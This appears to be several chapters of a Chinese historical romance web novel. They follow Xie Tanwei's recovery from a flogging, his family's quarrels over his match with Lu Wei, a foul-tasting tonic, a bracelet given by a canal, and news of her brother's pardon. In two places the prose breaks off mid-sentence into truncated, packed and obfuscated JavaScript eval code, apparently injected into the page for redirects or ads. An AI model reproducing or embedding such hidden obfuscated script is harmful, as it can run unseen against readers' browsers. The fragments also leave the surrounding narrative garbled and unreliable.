谢探微知道露微对自己的家人尚不熟悉,又才发生这种事,肯定是慌张的,便有些担忧,听到母亲并没照面,才松了心。然而,他也并不想和母亲谈论露微。 见儿子久无回音,李氏想想又道:“娘知道,陛下是将她托付给你父亲和寄父照料的,但将军府没有女眷,起居定有不便。不如,娘亲自去将她接到身边,娘一定会仔细……” “母亲实在不必!”谢探微再一次打断了母亲,虽也面露不忍,却也不堪权衡,他只能顾着露微,“杨司业是她父亲的同僚,定是待她不差,她住着自在便好,母亲何苦操心呢?” 李氏愣了一愣,倒也毫未气恼。她只是想着,若能借天子之口,将儿子有意的女孩接回去,说不定儿子也能住回家去,一家团圆。“好好好,娘都听你的。” “是啊娘,你就听阿兄的。”二郎冷不丁插了句话,说着又依近到李氏身侧,低声道,“家里表妹还在,她上次还打了人家,你要是接回去,天天见面,如何相处?” 李氏一时将沈沐芳忘了个干净,立马表情定住,都不好意思直视谢探微了。然而,区区一间内室,总共三个人,相隔一二步,不是刻意的密语,怎会逃过常人的耳力? “母亲还没有与沈家退亲吗?”谢探微正声问道。 李氏闻言,先挤了小儿子一眼,让他站远些,犹犹豫豫才开口:“这件事啊,原是你姑母听闻我们要来咸京,便让芳儿跟着,又提了你,暗示议婚。娘并没有真去定媒下聘,不过一时错了主张,在书信上试探你的意思。所以,都是娘错了。” 原来,所谓议婚只是亲戚间嘴巴上偶然一说,并无实质。而李氏早也说过要向儿子道歉,不料接连多事,竟就拖到这里。然而此情此景,又难免是很扫兴的。 “母亲,我也知婚姻之事历来是尊长做主,可我自小也不是养在家里的,既然幼年便不得自主,如今就只想自主。这次,我不怪母亲,也请母亲切不可有下一次了。” “大郎,你要怎样才能不恨我们呢?难道要你父亲给你道歉不成?他毕竟是你父亲啊!”李氏今日最不想提往事,没想到还是这样,心里又酸又疼。 “阿娘!”谢二郎见状,忽又上前扶了扶李氏,紧接着凑到谢探微身畔蹲了下来,一腔恳切道: “阿兄千万别再这样说!阿耶打你有多疼,娘心里便有多疼。况且,你只是素日看不到阿耶的好,他也是很疼爱我们的。比如,我因要参加明年春闱,总是日夜读书,他公务繁忙常常夜半才归,却还不肯休息,亲到书房教导,还不许我熬夜太久。” 谢探微和弟弟如今天这般同处一室这么久,其实从未有过,就更没听弟弟一次说过这么多话。而虽目光灼灼,言之切切,在谢探微听来却只是刺耳。 “母亲说笑了,父亲怎可向我道歉。”谢探微缺少血气的脸上淡淡一笑,伸手拉起了弟弟,“春闱是二月,还有半年时间,天下士子虽佼佼者众,但有父亲教导,你总比旁人有优势。” 说完,谢探微直接站起身,向母亲拜了一礼:“时辰不早,请母亲早些回去,弟弟也还需要温书。” 李氏不知道还能说什么,皱眉叹声,只好离开。 …… 一路出来,李氏还是唉声不断,谢探隐看母亲这样,眼色一转,说道:“阿娘已经很受委屈了,不要自责。阿娘出身高贵,外祖父可是开国的老忠王,这等身份,何以至此啊!” 李氏瞥了一眼,却抬手点了下二郎的脑袋,“论家事,你说什么身份?你成天读书,就只学了个门第?” 二郎陪笑,咧嘴道:“我是看阿兄太过执拗,阿娘怎么劝也不行,心疼阿娘。就说那个赵氏女,如今尚未过门,阿兄就这般回护,他难道不知阿娘为人?还怕你欺负弱女不成?” “哎呀,你阿兄不是这个意思。”李氏只是摇头。 谢探隐停了一停,辗转却又道:“阿娘,我就好奇,若赵氏女并不是官家女,就是一个草野民女,你也会为了哄阿兄高兴,就依从他娶进门,做谢家的长媳么?” 李氏有些奇怪地看向小儿子,“你今天怎么了?句句不离出身,我谢家从无此家风,你难道也想挨二十鞭子?” 谢二郎忙捂嘴,不敢再说下去。 李氏又瞪了他一眼,心里都不够烦的,才要继续走,突然又想起了什么,侧脸问道:“你才刚说你父亲常去书房看你,什么时候的事?我怎么不知?他自到了咸京,连个整天都没在家呆过,未必他只看你,连我都不见?” 谢探隐的脸色一僵,半晌才答:“我那也是为了劝阿兄,让他知道父亲很好,他要信了能常回来看看,岂不是有望与父亲和解?” 李氏一半认可一半迟疑,终究摇头:“娘在信上撒了个谎,尚且生出许多事,你也骗他,他就能喜欢?你是要春闱入仕的人,君子坦荡荡,修德是正道,以后莫要再动这种脑筋!” “行,听娘的,修德!” …… 入夜,晏令白来到谢探微的院子,原是想问问他的伤势,可才进廊下,只见内室的窗子敞着,烛火也点得通明。 已近中秋,夜晚风凉,受伤之人体格虚弱,是不堪受风的。晏令白便要上前合窗,却一见,谢探微只是趴在案前,左右摆了两盏灯,手里拿着一条丝缕,盯出了神。 晏令白很快认出来,谢探微手上拿的正是端午时露微所赠的长命缕。年轻人之间的情意晏令白是明白的,可也不知怎的,他自己也愣住了,许久后只是悄声合窗,没有再踏进去。 他慢慢踱回了自己的居所,却不歇下,坐在书案前,忽然长长地叹了一口气,似是无限惆怅,又缓缓闭上了双眼。 …… 从将军府回来后,露微就一直发呆,说两句话的间隙都能愣神。这情状到了杨淑贤眼里自然是要刨根问底的,于是,临睡之际,她便抱着枕头跳进了露微的房里。 “阿姊往里去些,我今天跟你睡!” 露微还在反应之中,淑贤却已经钻进了她的被子,“做噩梦了吗?还是外头打雷了?没听见啊!” 淑贤只是嘻嘻傻笑,“阿姊与我说句实话吧,那个谢探微到底是什么样的人?我听陆冬至说的和听你说的,为何很不一样?” 露微倒是不意外,毕竟陆冬至在杨家门下说的那些就没避开她,之后也不知二人又谈了什么,“就是……你想的那样。” 言简意赅。 淑贤反而收住了笑,两只杏眼忽闪着,枕到了露微肩上,“所以阿姊回来就总走神,是在纠结吗?” 露微的耳朵被这话音吹得痒痒的,伸出一指顶开了淑贤的额头,“你一个云英未嫁的女孩子,不要打听这些,知道也就罢了。” “我虽未嫁,可从前看我长姊和姊夫,便也懂了。”淑贤又蹭了过去,被中握住了露微的手,“阿姊与我皆是自幼读书的,不必自愧耳聪目明,善察人情,反而更该端视自身,珍重自信。” 露微一时不语,像是沉思,半晌才侧身面对淑贤:“我觉得,我从前一直是如你所说这般,无论是六岁时,阿兄指着我的鼻子说我并非赵家亲生,还是出嫁姚家,被姚老夫人得知,他们轻贱我,我都不觉得有多难过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听杨淑真的叙述,露微也猜大约是这样,跟随姚宜苏阿林一向能干,昨天也是在的。“真儿,都到如今了,你和仲芫竟还想要我回去?带泽兰来,也是姚宜苏让的吧?” 杨淑真没有否认,叹了声又道:“赵伯父的案子有望,若回京来知道此事,定不会轻饶姚家,长兄都是清楚的。其实,如今姚家已经不同了,母亲深居礼佛,婢仆凡有性情不好,或从前仗势苛待过你的,统统都被打发了。” “长姊怎么说这糊涂话?”杨淑贤本没有说话的立场,听到这里却也忍不住了,“微微阿姊又不是要和他母亲过日子,更不用理会那些婢仆了!难道说,凡一个坏人,一日改过自新了,便是从前被他害死的人,也得活过来原谅他,还要再和他交好不成?!” 露微一下子就笑了,话不糙理更精。 杨淑真皱眉看了小妹一眼,抬手点了下她的眉心,“你的账我晚些和你算!快闭嘴。” 淑贤不服,只挪远了些,嘟囔着又道:“长姊自小是父亲的掌上明珠,出嫁又得了个顶天立地的好夫婿,便一个屋檐下,都看成是一样的人了?一母同胞也分霄壤,恰如阿姊是天上的明月,我就是地上的稗草。这道理在姚家更是了!” “你!”杨淑真甚少动怒的人,这时也忍不住了,“父亲罚你禁足抄书真是太轻了!你这张嘴,以后可怎么办?!” “以后就抄一辈子的书呗,做个女先生,传道授业,为天下不通文墨,不知道理的人争条好路!” 露微旁观她们姊妹斗嘴,只是越发好笑,逗着泽兰也看,直到孩子咯咯咯笑个不停,二人才歇了。 “孩子看着呢,万一听懂了怎么办?”露微看着她们说道。 杨淑真稍稍红了脸,可淑贤却又俯身凑到了泽兰跟前:“小兰儿,你说,婶母和贤姨,你支持谁?” 露微眉头一皱,与杨淑真对视,都不禁忍笑。 小泽兰不过两岁有余,只能简单言语交流,可不曾想,一双溜圆黑亮的眼珠转着转着,竟忽道:“兰儿就要阿娘!” 21.补药 中秋一过,露微的生辰便近了。她自己倒没想着,却还是杨淑贤作兴起来,替她从头到脚制了一套首饰衣装。因是按她的身量裁制,已是成衣,她也推辞不了了。 “阿姊你看,我的眼光不错吧?” 杨淑贤让丹渥和雪信一左一右将衣裙在露微面前展开,是一套齐腰襦裙。上衣是月白窄袖,外罩一件雪青交领半袖,下裙是湖水碧的百褶长裙。虽未上身,已见灵动飘逸之感,虽无繁复花纹,却是难得的清丽脱俗。 “真好看。”露微少在衣饰上下功夫,这一见竟挪不开眼了,细细摸看,倒见腰带之处绣了樱桃纹样的点缀,一愣,“这是樱桃?” 淑贤笑而点头:“这料子我也喜欢,另叫做了一套别的样式,都在袖子上。但我想阿姊不喜花哨,就让在腰带上点缀一二。樱桃好吃又好看,不是吗?” 露微所思去并不在衣服的花样,而是件久成疑团的奇事,坦言道:“半年前我去赵家墓园扫墓,那时父亲已遭贬官,所有先人之墓都未及清扫,却独我阿娘墓前放着一盘新鲜的樱桃。这世上除了我和父亲,谁会知道我娘爱吃樱桃?后来又想大概是父亲托人代祭,却也想不到是谁。贤儿,你说会不会是杨伯父?他们早年也算认识的,所以出事后,杨伯父也愿意助我留我。” 淑贤听来也奇,却很不以为然:“就算是我父亲受托,赵伯父又怎会单叫祭扫你娘一人?不奇怪吗?” 一语惊醒梦中人。 “我觉得,或是你娘的姊妹亲眷之类也未可知。”淑贤又道。 这一点露微倒是可以完全否定,低头一想,不觉牵出了许多陈年旧事,“我娘不是咸京人士,也不知是哪里的,只有一个侍娘乔氏是自小跟随她的,并没有其他亲人。我也曾问过乔娘,她说阿娘是落难时被父亲搭救,当时身上就已经怀了我。后来到了赵家,父亲的嫡妻朱夫人已是病重,不久就过世了。” 淑贤虽知晓露微的身世,却不知如此细节,听入了神,“所以,你娘就怀着你嫁给了赵伯父?是感恩之意?” “就是因为这个,阿兄才恨我和娘。那时他也才十岁,就觉得是父亲对朱夫人不忠,公差之际,还带个女子回来,更是觉得朱夫人就是我娘气死的。可起初,他也真以为我是父亲亲女,后来偶然听阿娘说话才知,便更添嫌恶。” “赵伯父那样的名声,我看绝非不忠之人,大约就是看你娘孤苦,同情她。朱夫人病重又不是你娘所致,只能说天意太巧。” 露微也是这样想,而细思父母之间的相处,也是有迹可循,“我娘再嫁,实则也没有礼聘大办,他们二人一直相敬如宾,我娘理家,父亲就一心公业,并不像寻常夫妻那样,倒像是各过各的。只不过,父亲当真待我极好,还为我训斥阿兄,不许他,也不许下人之间乱说我的身世。” 淑贤忽一拍掌,“我就说吧!伯父人很好,都是你阿兄从小歪了心思,以致将此事又宣扬到姚家去,让你吃尽了苦头。” 露微笑了笑,继续道:“不过,父亲实在太忙了,白天公务,夜里也还忙着什么大事。我越大也越说不上话,直到娘去世,姚家又那样,我就连面也见不上了。大约,他们夫妻本就没什么情分,赵家送我出嫁已经仁至义尽,也就不必再管我了。” “可你还是一点都不怨他们。也不知你做了这么多,他们回来后会不会谢你。” 露微一无所图,也没什么可伤怀的:“养育之恩十三年,给我身份,给我家,还有什么好说的?” 淑贤也不能不赞同,不住点头,可眼珠一转,又问:“阿姊,你难道就从没问过你亲生父亲是谁么?” “问了,没问出来。”露微一脸淡然。 “算了,不谈这些不开心的了。”淑贤一挥手,咧嘴一笑,却将露微推往内室,“阿姊去换衣服吧!我替阿姊梳妆!” “今天?我还没过生辰呢!” “你今天不是要去探望谢探微吗?此时不穿更待何时?” …… 从谢探微被笞次日,李敬颜来将军府探望过,其后又接连来了两次,却都是呆不到两刻就没话说了。到了这几日,李氏便只遣人送些补品,自己没再踏足。 然而,再好的东西,谢探微也吃不惯,统统进了陆冬至的肚子,把个没病没灾的人倒养得胖了一圈。 “中候,郡主又送了来,还是放去隔壁院吗?” 谢探微已经不必总趴着了,每日就是看书消磨,正专注的时候,小奴提了食盒进来,他一见只是烦躁。 “明天开始再有,就不必来问了!” 小奴也不敢多惹他,领了话便退出了屋外,可没去几步,又跳了回来。谢探微岂能不恼,可小奴竟完全不怕了,高呼: “中候快看!赵娘子来了!” 谢探微跑得比上次还快,飞去一个影子,带出的风把这小奴的眼睛都吹迷了。 站在屋前,谢探微原本想迎上去,可远远只见一个飘逸身影行在蜿蜒的连廊之间,越是近,他便越无法动弹,一颗心,一双眼都定在了那个倩影上。 “今日是好多了?”露微也早见这人站在门口,不似上回衣衫不整,脸颊也恢复了些许血气。 谢探微却不说话,像不认识一般还在盯着露微观看。 自初见,露微一直是半旧素裙打扮,没有首饰,更不施妆。而现在,乌发挽成螺髻,一身罗裙清扬而柔婉,微风一动,脑后垂下的丝带便同长裙一齐飘然,惹得腰间悬垂的环佩发出叮咚悦耳之声。 “谢探微?”露微也知自己穿了新衣裳,但这人的眼神看得她心里发毛,哪里出错了不成? “嗯……”谢探微这才一抖,眼珠终于动了动,却再一见,眼前人肤如寒玉,飞霞为妆,抬着一双水灵的眸子,他又说不出话了。 “怎么了?我这样很奇怪?”露微甚至动了离开的心。 “不!不是的!”谢探微呛了口唾沫,又连咳了几声,神色渐渐平复,“你怎么才来?我每天都在等你。” “也没多久。”旁边小奴还在,露微有些不适,一低头倒望见了小奴手上的食盒,“这时辰,你是吃早上的,还是中午的?” 谢探微不想提,只叫露微进了屋才懒懒一言:“那是我母亲送来的,不知什么,我不喜欢。” 听到“母亲”两字,露微不自觉就暗吸了口气,但一猜必是药膳补品之类,是利于养伤的,便思量着去拿了进来。打开一看,只一碗浓黑泛红的羹汤,气味甜丝丝的。 “看上去不难喝,肯定比苦药好咽。”露微把碗端到案上,用手掌朝谢探微扇了扇,“你闻闻。” 谢探微并非是排斥母亲到了这种地步,而是真的不爱吃这种奇怪的补汤,可他更是不愿拒绝露微的,只好硬着头皮俯身,就一下,立马弹了回去,“闻好了,还……还行吧。” “那你尝尝?”露微双手端了起来,“先一口。” 谢探微抿起了嘴巴,后退摇头。 露微见状倒好笑起来,明明不是苦药,明明也不是小孩子了,竟还如此幼稚,“那我先替你尝一口?”露微很自然地想到了从前哄小泽兰吃药的办法。 “别……” 谢探微也不忍心,但露微动作快,已舀了一汤匙送进嘴里。可还不等汤匙拿出来,她就全吐了,冲到屋外作呕不止。 谢探微慌然一惊,连忙追出去扶住,拍着她的背,急得脸色发白,“露微,露微!你别吓我!怎么了?” 露微说不出话,只觉满口腥甜,似有鲜血的味道,又有一种膻臭,竟不知都是些什么原料。好一阵过去,谢探微急得要叫医人,她才分出力来拦住,缓缓直起了身。 “没,没事……”她将胃里都吐了个干净,腿都软了。 谢探微喘着气,心疼不已,看露微有些支持不住,索性直接将人抱到了外间的平榻上,递去杯水,“不是什么东西都能直接往嘴里放的,你傻不傻!” 露微抹着额头出的细汗,肠胃还在翻腾,水也喝不下,挡开了,“你说是你母亲送来的,还能是毒药不成?你又不肯喝,我是想让你快点好起来,你才傻呢!” 谢探微本看不得她难受的模样,又听这话,心里顿时一软,将她的手轻轻按下,替她擦拭起汗珠,“不管是谁给的,或是来历不明,从未见过的,都要小心些,你若伤了自己,我会很难过的。” “不相干的,这是你母亲的心意。”情状忽然变得微妙起来,露微不禁避开了目光。 谢探微暗笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姚宜苏虽是医家名手,享誉咸京,但也只是个医师,皇帝念其祖劳,才赐享七品,否则更是品阶微末。故而,即使他心中藏事,在将军府行走也很是端方恭敬。 “中候体健胜于常人,不过旬日已恢复大半,想来再有数日便能痊愈了。”姚宜苏一边为谢探微擦拭上药,目光所及,忽而一顿——平榻另一侧挂着一条女子的披帛。 谢探微还不知觉,口中道谢,一见几案上那碗补汤,忖度就道:“可否烦劳姚医官看看这碗汤药,大约都是些什么材料?” 姚宜苏尚未从那条披帛上收回眼睛,迟了片刻才应下,便用汤匙搅动闻看,很快就有了答案: “此汤药中有黄芪党参一类常见药材,都可养气。然则也有十足分量的阿胶、鹿羹,这两样虽是上等的补血之物,却不宜同食,入口腥膻不说,若素常脾胃弱的人进用,反更伤脾胃。不知中候怎样得来,依下官看,中候最好不要饮用。” 谢探微总算知道露微为何作呕不止了,独一个鹿羹便是半熟带血汁的鹿肉捣成糜状,寻常烹制就难以除味,这汤里定是没有做好的。 “那若脾胃不适的人误食,怎样缓解?”他忙又急问。 这对姚宜苏来说都是小事,只是他见谢探微的目光总往内室看,心里亦不觉发沉,“因人而异,下官未察其体,不便擅下药方。中候大可将人带来,下官定会尽心诊疗。” 谢探微不就是想这样?愈发心动,目光也不太遮掩起来,“多谢医官,我只是随便一问。” 姚宜苏暗舒了一口气,没再多说,告退而去,但在踏出房门的前一瞬,目光也最后看了一眼内室。 …… 姚宜苏前脚离去,谢探微便急不可耐地跨到了帘后,可露微整个人都僵着,脸色比之前还差。 “怎么了?更难受了是不是?!” 谢探微方才问起如何缓解,便是想起露微之前虚劳晕厥,也是内犯脾胃引起,这时就更怕了,立马就想把姚宜苏请回来,但自又被露微一把拽住。 外间的交谈露微听得一清二楚,而一些谢探微没有察觉的意思,她也是明明白白,“我,想回去了。” “你这样回去我怎么放心?”谢探微见她额上还在不断冒出虚汗,忧心不已,“刚刚医官的话你都听了,另请医人来看可好?” 露微此刻有千言万语,却都被心里千头万绪挡下了,“谢探微,我们不能再这样下去了。” 谢探微一怔,旋即又笑开了:“别怕,今天只是不巧,我们之间自该堂堂正正。我不是说了,一待你父亲回京,我便立刻请阿父去你家下聘,与你议婚。” 谢探微显然不可能听懂露微的话。 22.贺礼 李敬颜虽然自己不去将军府,但每日送补药的小奴都要叫来回话。这日也是惯例,小奴送罢回来,正要去李氏跟前禀告,却在庭院前先遇上了二郎谢探隐。 “你这是刚从将军府回?阿兄的伤情可好些了?”谢探隐知道母亲日日叫人送东西,打量着随口一问。 这小奴是从扬州府里跟来的家仆,深知家事,不敢胡编乱造,便道:“回二郎的话,大郎已恢复大半,只是依旧不吃郡主亲做的补药。今日那位赵娘子也来了,她先尝了还吐了,也不知怎的。” “什么?赵女怎敢先尝?”谢探隐一脸质疑。 小奴一直只在廊下候着,就所见而言道:“想是要劝大郎吃,自己便哄着先尝,可不知是不是味道不合,大郎也就没再动了。” 谢探隐想了想,忽却一笑,“我正好要去见阿娘,你就不必再去了,下去吧。” 小奴领话,谢了二郎一句,走开了。 谢探隐脸上的笑一直挂着,很快来至内堂,见到了刚刚用完午食的李敬颜。谁知,李氏见了小儿子,开口却就问: “这个时辰了,你刚一路过来见没见阿新回来?” 阿新正是去将军府跑腿的小奴,谢探隐更作一笑:“正是见了,才来见阿娘。他说阿兄也没吃,而且东西被赵氏小女糟蹋了。” 李氏自然奇怪,“这话怎么说?那孩子今日又去了?” 二郎停了停,吃了口茶,“是,但不知她现什么眼,先替阿兄尝了一口,却吐了,阿兄于是便没动。” 李氏暗自琢磨,半晌却道:“没想到,这小女年纪轻轻,出身这般,竟还很会些照顾人,亲尝汤药可不是常人能做到的。” 谢探隐险些把茶水喷出来,生咳了两声,“阿娘难道不生气?那可是你每天熬夜亲自熬制的,还查了那么多医书,费心费力。” 李氏咂嘴忖度,“你阿兄每每不吃,今天又这样,可不知是不是那汤药味道确实不好,我也没尝过。”说着,便叫婢女去盛一碗,准备亲自一试。 “补药也是随便吃的?”见李氏仍无见责之意思,谢探隐一下站了起来,“阿娘,你连她的面都没见过,怎么也和阿兄一样,事事念她的好?依我看,她甚不知礼,迷惑阿兄,今后过门也未必能孝顺舅姑,担当起我们谢家的门庭。” “越说越不像样了!”李氏嗔怪地一指小儿子,“你不是也没见过面?又为何如此武断偏见?若她真嫁过来,就是你长嫂,你怎能对她挑剔指摘?” 谢探隐一口闷气憋在胸膛,也不敢十分顶撞了,两颊鼓动着,软声又道:“我是为阿兄担心,怕他久在行伍,不通人情,被咸京繁华之地的小女子煽惑了去。他可是阿娘最心爱的长子,将来继承家业,婚姻大事自该慎重了。” 李氏只是叹气摇头,总觉他透着奇怪,“家里什么大事要你操过心?春闱的书都读完了?看来势必要给娘夺个状头回来了!否则也不能弥补你日夜操劳啊!” 谢探隐听着母亲阴阳怪气,悻悻然终于闭嘴。这时,去后厨的小婢端了汤药回来,他也想看,可刚凑上前一步,却险些被李氏吐了一身—— “拿走拿走,快拿走!什么味啊!” …… 谢探微的伤势既已好了大半,露微便不打算再去探望了。接连两次都碰见姚宜苏,让她一个心如明镜的人都恍惚了,觉得好似是上天在警醒她,不能放纵。 人真是奇怪。没有心事时偏要找事,闲不得一刻,等到千丝万缕理不明白时,竟又怠惰了,生出不敢不忍不情愿,可不知是不是人都擅长为自己找借口,亦或是人性本不堪细论。 春华秋实总不是自己开花结果,只待东君秋令天时地利,可什么是天时,什么算地利?又岂不是人自己所定? 露微的脑子从来没这么乱过,就算当初为姚宜苏,也从未。 “阿姊!” 露微近来在愣神时忽被淑贤叫醒已成了平常事,这一下还算声音小的,她只是应声,并不转脸,“在这儿呢。” 淑贤却伸手将她的脸扶转了过去,然后拿出一封书信在她眼前晃了晃,“你的信!” “谁会给我寄信啊?”赵家要寄早就会寄,但寄也寄不到杨家来,露微想不到是谁。 淑贤抿嘴一笑,“就是阿姊日思夜想之人咯!” 露微倒是第一回被淑贤打趣,脸颊一热,却很快从她手里抽走了书信,而打开一看,也就四个字:通明渠畔。 “他约你去水边上干嘛?”淑贤早把头伸了过来,离得比露微还近,“鬼鬼祟祟,怎么不上门来见啊!” 露微倒是没跟淑贤说起过这个细节,也不打算说了,推开她的脑袋,将信收了,“女则一百遍抄了第几遍了?” 淑贤一下就老实了,却也不过片刻,又对露微挤眉弄眼:“阿姊还不快去?我叫下人备车啊。” 露微有些索然的样子:“我觉得,我应该最初就同他说清楚。” 淑贤眨了眨眼睛,心里倒是早有一番理论,“阿姊思量来去,无非是怕伤了他一片纯情,或是怕他突然转变,根本见不得美玉微瑕。所以,左右结果的并不是你早说晚说,而是他的心,阿姊原无必要苛待自己啊。” “是这个理?” “很是啊。” …… 通明渠畔,秋高气爽,谢探微一人久立,看着水岸丛丛已然枯黄的芦苇,脑中却仍流连在端阳的那个午后。 不知多久,石下波荡的水面倒映出一个碧色身影,他惊喜转身,果然是等到了,“露微!” “你怎么还骑马来,不怕伤口颠簸裂开?”露微下来时看见路旁树下拴着一匹马。 谢探微笑着摇头,“我已经好了,今夜便要去上职。” “才半个月。”露微低声说,眼波缓缓转动,“那,有什么事急着现在说?” 谢探微从怀里掏出了一方叠好的绢帛,“你是不是都忘了?”他展开绢帛,是薄长的一条,然后披到了露微肩上。 果然是新衣裳,露微毫不熟悉,竟一点也没发现少了东西,“就……就为这个?” 谢探微又摇头,“我是怕九月初三无暇抽身,只有今天。” 露微怔住了,九月初三是她的生辰,她只是在谢探微问名时提过那么一句。 谢探微知道露微明白过来了,牵住了她的双手,“露微,我还不知你是哪一年的九月初三生人,能不能告诉我?” 谢探微的掌心还是那般温热,而这温热正向她的全身蔓延,“开和元年,我就要满十七了。那你呢?我还都不知道呢。” “君元十一年五月十五,年长你七岁有余。” 露微猜他也是这个年纪上下,但心里还是生出新奇感,“好,我记得了。” “是要到时候给我准备生辰贺礼吗?”谢探微以试探的口气说道,眼里颇有笑意。 露微今天已经被淑贤打趣过一回了,不料这人也来,“好啊,贺你一碗鹿羹阿胶的十全大补汤!” 谢探微以为露微会被难住,却被反将一军,倒也很快应对:“你敢贺,我便敢喝,你试试?” 露微白了他一眼,想要抽手,却只脱开了右手,左手被紧紧握住,“再不放我要生气了!” 谢探微一点也不急,脸孔微微一扬,不知从哪里变出个手镯塞进了露微左手,“别生气,我先贺你好不好?” 露微这回是真的惊住了,左手五个指头都不听使唤,即使谢探微已经放开,还是紧紧扣着镯子。这是一只镶金白玉镯,玉为三段,每段的两头用了桃花形状的金扣,很是特别。 “桃花春色暖先开,明媚谁人不看来。那天在昭成寺的桃林,你问我是不是早就看见了你,我没敢回答,但其实,我已经看你许久。我很喜欢你说我是不一样的,也只有你对我说过,而在我眼里,你也从来都是不一样的。” 露微只是不能动,但耳朵是可以听的,字字句句都流淌进了心头,“谢探微,我很喜欢。” 谢探微眼眶忽而一红,问得小心:“你终于答应我了?” 露微盯着他看了片刻,“卫月和赵露微,你更喜欢哪一个?若我还有别的身份呢?” “没有卫月,便没有赵露微,身份、名姓就算更改百次,也 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谢探微原只是寻常接了一句话,却不曾想牵出露微这些家事,也明显感觉到了她的语音变化,“露微,若你还想学马,我来教你好不好?” 露微在一念之间找到了一种能够徐缓托出往事的办法,但谢探微却很是细心,能嗅出她的为难处境而替她回避。 “好啊,从今天起我就多吃饭!” …… 沈沐芳到咸京将近四月,婚事一无着落,母亲谢道龄催问的家书却来了好几封。她固是一次也没回应,但也烦恼长久下去并非好事。她再是骄纵成性,终究还是心疼母亲的。 “要不,娘子再去郡主面前说些软话?或者就把夫人的家书给她看,求她拿个主张?” 谢府花园里,沈沐芳坐在每日都来的水亭里,静下来就凝了神。侍女凤梅知道她就这一件心事,想出些主意宽慰,却讨来了一脸嫌恶: “你还想我挨顿责?现在舅母只念着那个赵家女,未免看到我就想起我打了她,万一让我去给她道歉,我还要不要脸了?” 沈沐芳想起上回到将军府打了人,被谢道元夫妻二人合着一通教训不说,现在又知那被打的“卫娘子”原是那般身份,就更没有说话的余地了。 凤梅低头挪了一步,畏缩着又道:“可谢家要是真绝了情,也不会留我们在此。如今大郎定是不能想了,但不是还有二郎么?” 沈沐芳抬眼一瞪,险要扬手打上去,“贱婢!这也是你能讲出来的?在兄弟之间议婚,是嫌我不够轻贱呢?还是觉得谢家门风沦丧至此了?!” 凤梅确实没什么远见,不过是一些奉承讨好的本事,跪下赔补道:“是奴婢不知高低,娘子恕罪!奴婢也是着急,夫人怪娘子,却不知娘子的处境,还没嫁做人妇呢,就处处受委屈。” 沈沐芳也不是不为自己叫屈,说到母亲,她也已无奈至极,“阿娘这般以婚姻支撑门户,想也是没有办法的办法,可她难道是要卖了亲女儿?凡一个好些的人家,就硬塞我去?并不是!她就是看中大表兄这个人罢了。” “一家长子,将来继承家业,承袭爵位,自然是好了。”凤梅附和道。 沈沐芳却摇头:“若我不知他兄弟大小,单看其人,眼睛也落不到二表兄身上。” “为何?二郎虽不如大郎仪容英俊,却也是一表人才啊,而且风度更像谢尚书呢。” “学了几个词就用上了?”沈沐芳斜睨了凤梅一眼,“二郎是故意学舅父,学也不过学了个表面文章,你就等着看,他明年春闱必然是不会得中的。” 凤梅还是不明白,想问沈沐芳为何能这么肯定,却还不及开口,主仆口中议论着的“二郎”,忽然出现在了亭外。 “表妹又在发脾气了?还想打人不成?”二郎负手而立,眼见凤梅是跪在地上说话的。 沈沐芳只是一笑,也还不叫凤梅起来,“表兄又出来逛了?晌午才见的。想是读书实在太辛苦,该叫舅母也研究一道补药给你才是。” 谢探隐的神色凝了一凝,一笑:“不必,读书而已,总比挨二十鞭子的好。” 23.明断 “你就这笔字是怎么通过考选的呀?” “能看懂不就行了?又不做先生。” “哈哈哈……” 将军府的中堂里,一张四方案的四面分别着坐着谢探微、露微、杨淑贤,还有陆冬至。 陆冬至自从通过兵部考选,得了执戟郎的职位,心里颇觉侥幸,便决心在平常也抽空读书习字。而因露微的关联,杨淑贤也和陆冬至更熟了,于是四人时有相聚,言谈甚欢。 “啧啧,看看——” 正说笑着,陆冬至忽然放了笔,举起了刚刚写完的一张字。三人便放眼去看,却是“露微”和“探微”两个名字。 “笔画如此之多,难为你了。” 露微翻了他一眼,知道他是憋着劲要取笑。淑贤也明白,掩嘴发笑,而谢探微稳坐,只是注目露微。 然而,陆冬至倒是并不看气氛,只又道:“单看你们两个人的名字,谁不会以为是兄妹呢?” 真是大煞风景。 “你会不会说话?”淑贤瞪了陆冬至一眼,把纸张抢了过来,“好好练字,写别人名字干什么?” 陆冬至完全不吃心,还有些怵淑贤,抿住嘴,低头继续写了。 这情景,露微和谢探微倒尴尬了,对视之间互通眼色,前后起身,去到了门外廊下。 “冷不冷?”已是初冬时节,天气阴寒,谢探微为露微披上了随手带出的一件氅衣。 “都出汗了。”露微并不觉,离了室内的炉火气反觉清爽,“我还没问过你呢,你这个名字有何由来?” 谢探微一笑,“没有你的好听,只是父亲所取。我和长姊、弟弟三人的名字分别是探渺,探微、探隐,及冠时,阿父又赐了表字敏识,弟弟也随后被父亲赐字敏理。” 露微细细忖度,原来这姊弟三人的名字都是相关之意,连兄弟的表字也差不多,可见父母之心倒也算一碗水持平。这又不禁让露微好奇,谢家到底是怎样的人家。 未及再问,忽闻一声轻咳,两人同时转脸,见是晏令白散朝归来。露微一时羞赧,脚下偷偷挪远了两步,谢探微却大方,瞥眼一笑,护她在身后,先上前见了一礼。 然而,晏令白甫一张口,却是先对露微:“孩子,你在便正好。有一个好消息,陛下今日已下旨,赦免了你长兄赵启英,还赐了吏部主事的官职。想来腊月之前,他便能回京了。” 煎熬了大半年,这自然是天大的喜讯,可——“那我父亲呢?!陛下还是认为他有罪吗?” “露微长兄原非罪臣,皆因赵尚书获罪牵连,阿父可知这案情究竟重查得如何了?”谢探微是想起了赵启英与露微隔母,体察露微的心意,自然更以父亲为重。 晏令白只是缓缓摇头:“露微,你长兄归来也是好事,陛下叫你耐心静候也自有道理,你一定不能操心过急。” 自从见到了皇帝,露微已然静候了数月,可她根本搞不清天子究竟何意,说来说去也似乎越发深奥了。 …… 咸京城南的明德门下,露微自晨鼓起便已久候。按照日前遣去官道接应的小奴禀报,赵启英一行今天就能抵达。 